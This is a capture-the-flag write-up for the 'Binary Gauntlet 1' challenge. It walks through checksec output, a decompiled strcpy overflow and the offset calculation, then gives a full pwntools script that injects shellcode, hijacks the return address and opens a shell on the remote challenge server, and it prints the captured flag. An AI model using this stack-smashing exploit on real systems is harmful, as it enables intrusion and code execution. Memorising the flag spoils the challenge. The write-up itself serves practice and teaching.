Skip to content

Binary Gauntlet 1

CTF write up for cylabacademy's Binary Guantlet 1

Security Mitigations

We have a binary called gauntlet.

Check security mitigations on the binary (using checksec in gef):

gef➤  checksec
[+] checksec for '/home/tristan/Downloads/gauntlet'
Canary                        : ✘
NX                            : ✘
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial

All the mitigations are disabled, so it's likely we'll write shellcode directly to the stack then overwrite a return pointer to jump to our shellcode.

RE the binary

Looking at decompilation in ghidra (I renamed the variables):

Ghidra Decompilation of gauntlet
undefined8 main(void) {
    char stack_buf [104];
    char *heap_buf;

    heap_buf = malloc(1000);
    printf("%p\n",stack_buf);
    fflush(stdout);
    fgets(heap_buf,1000,stdin);
    heap_buf[999] = '\0';
    printf(heap_buf);
    fflush(stdout);
    fgets(heap_buf,1000,stdin);
    heap_buf[999] = '\0';
    strcpy(stack_buf,heap_buf);
    return 0;
}  

Key information to note:

  • There's a strcpy that copies our input to the stack_buf without any bounds checking.
  • The address of stack_buf is printed, so we can use this address to calculate the address of the return pointer we need to overwrite

The disassembly of main shows that the function prologue is saving rbp to the stack:

gef  disassemble main
Dump of assembler code for function main:
   0x0000000000400687 <+0>:     push   rbp
   0x0000000000400688 <+1>:     mov    rbp,rsp  # (1)!
   0x000000000040068b <+4>:     add    rsp,0xffffffffffffff80
   0x000000000040068f <+8>:     mov    DWORD PTR [rbp-0x74],edi
   0x0000000000400692 <+11>:    mov    QWORD PTR [rbp-0x80],rsi
   0x0000000000400696 <+15>:    mov    edi,0x3e8
   0x000000000040069b <+20>:    call   0x400580 <malloc@plt>
   0x00000000004006a0 <+25>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006a4 <+29>:    lea    rax,[rbp-0x70]   # (2)!
   0x00000000004006a8 <+33>:    mov    rsi,rax
   0x00000000004006ab <+36>:    lea    rdi,[rip+0x122]        # 0x4007d4
   0x00000000004006b2 <+43>:    mov    eax,0x0
   0x00000000004006b7 <+48>:    call   0x400560 <printf@plt>
  1. rbp is pushed to the stack in the function prologue, so we'll need to account for this 8 byte offset we calculate the address of the return pointer.
  2. In the same way that the program uses rbp to calculate the address of stack_buf, we can add 0x70 to the printed stack_buf address to get the address in rbp.

Craft the Payload

from inspect import stack
from pwn import *

# io = process("/home/tristan/Downloads/gauntlet")
io = remote("wily-courier.picoctf.net", 52996)

# offset between stack_buf and the return pointer
# seen in disassembly: lea    rax,[rbp-0x70]
# (extra 8 bytes accounts for rbp)
offset = 0x70 + 8

context.clear(arch="amd64", os="linux")
shellcode = asm(shellcraft.amd64.linux.sh())
payload = shellcode + (b'A' * (offset - len(shellcode)))

data = io.recvline(drop=True)
stack_buf_addr = int(data.decode(), base=16)
payload += p64(stack_buf_addr, endianness="little")

# target program has an extra fgest/printf; this isn't necessary for the exploit,
# so we send an empty line
io.sendline()
data = io.recv()

io.sendline(payload)
io.interactive()

Run it and get the flag:

$ uv run solution.py
[+] Opening connection to wily-courier.picoctf.net on port 52996: Done
[*] Switching to interactive mode
$ ls
Dockerfile
Makefile
Solution
flag.txt
gauntlet
gauntlet.c
start.sh
$ cat flag.txt
5ef0ab218aa1da49ee3255611be97bea